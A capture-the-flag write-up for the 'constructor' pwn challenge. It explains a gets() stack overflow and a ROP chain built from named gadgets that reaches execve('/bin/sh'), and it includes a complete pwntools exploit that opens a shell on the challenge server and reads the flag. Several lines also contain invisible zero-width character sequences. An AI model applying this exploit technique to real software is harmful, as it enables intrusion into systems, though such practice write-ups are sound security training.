← Back to Writeups
CUSTOMEasypwn

constructor — miniROP with named gadgets

XESXOR9/2/20263 min read
#pwn#custom#easy#execve_syscall_rop#mini_rop_chain#pointer_vs_string_confusion#linux

constructor — miniROP with named gadgets

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: execve_syscall_rop, mini_rop_chain, pointer_vs_string_confusion

Summary

Task: classic gets() buffer overflow (RIP offset 16) with a toolbox of exported miniROP gadgets (pop rdx, xchg rdx/rdi, xchg rdx/rsi, mov rax 0x3b, syscall) for building execve. Solution: chain the gadgets to set rdi=/bin/sh, rsi=rdx=0, rax=59 and syscall; the key gotcha is that symbol 'binsh' holds a pointer to the string (0x402004), not the string itself.

constructor — SPB CTF Pwn Season

Description

miniROP, 10 pts nc 109.233.56.90 11634 Binary: constructor.elf (x86-64, No PIE, NX, No Canary, Partial RELRO)

English summary: a trivial gets() overflow plus a toolbox of exported "LEGO" gadgets that let us build execve("/bin/sh", NULL, NULL) as a tiny ROP chain.

Analysis

main reads user input with gets() into a small stack buffer. BOF offset to the saved return address is 16 bytes.

The binary exports named gadgets directly inside .text: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SymbolAddressEffect
g_syscall0x401142syscall; ret
g_xchg_rdx_rdi0x401148xchg rdx, rdi; ret
g_xchg_rdx_rsi0x40114fxchg rdx, rsi; ret
g_pop_rdx0x401156pop rdx; ret
g_rax_0x3b0x40115bmov rax, 0x3b; ret (execve)
g_rax_0x3c0x401166mov rax, 0x3c; ret (exit)
binsh0x404040pointer to /bin/sh

Crucial gotcha: binsh is not the string. It is a qword at 0x404040 whose value is 0x402004, and the actual /bin/sh characters live at 0x402004 in .rodata. If you put elf.symbols['binsh'] into the chain, execve dereferences 0x404040 as a filename pointer and segfaults. You must put 0x402004 directly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Also, .init_array installs alarm(5), so the whole chain + post-shell flag read has to happen inside five seconds.

Solution

We want to invoke execve("/bin/sh", NULL, NULL) via raw syscall (no system, so no stack alignment issue). The chain only needs rdi = /bin/sh, rsi = 0, rdx = 0, rax = 59, then syscall.

Because the only register-load primitive is pop rdx, we use xchg rdx, <reg> to shuttle values into rdi and rsi:

pop rdx; ret          -> rdx = 0x402004   ("/bin/sh")
xchg rdx, rdi; ret    -> rdi = "/bin/sh"   (rdx now = old rdi, irrelevant)
pop rdx; ret          -> rdx = 0
xchg rdx, rsi; ret    -> rsi = 0
pop rdx; ret          -> rdx = 0
mov rax, 0x3b; ret    -> rax = 59 (SYS_execve)
syscall               -> shell

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Raw syscall requires no movaps-style stack alignment, unlike calling glibc's system, so no extra ret gadget is needed.

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

elf = ELF('./constructor.elf')

g_syscall      = elf.symbols['g_syscall']
g_xchg_rdx_rdi = elf.symbols['g_xchg_rdx_rdi']
g_xchg_rdx_rsi = elf.symbols['g_xchg_rdx_rsi']
g_pop_rdx      = elf.symbols['g_pop_rdx']
g_rax_0x3b     = elf.symbols['g_rax_0x3b']

binsh_str = 0x402004              # real string, NOT elf.symbols['binsh']
offset    = 16
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

chain = flat(
    g_pop_rdx, binsh_str,
    g_xchg_rdx_rdi,
    g_pop_rdx, 0,
    g_xchg_rdx_rsi,
    g_pop_rdx, 0,
    g_rax_0x3b,
    g_syscall,
)

payload = b'A' * offset + chain

p = remote('109.233.56.90', 11634)
p.sendline(payload)
p.sendline(b'cat /flag* 2>/dev/null; id')
p.sendline(b'exit')
print(p.recvall(timeout=5).decode(errors='replace'))

The remote end drops into sh, cat /flag prints the flag before alarm(5) fires. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍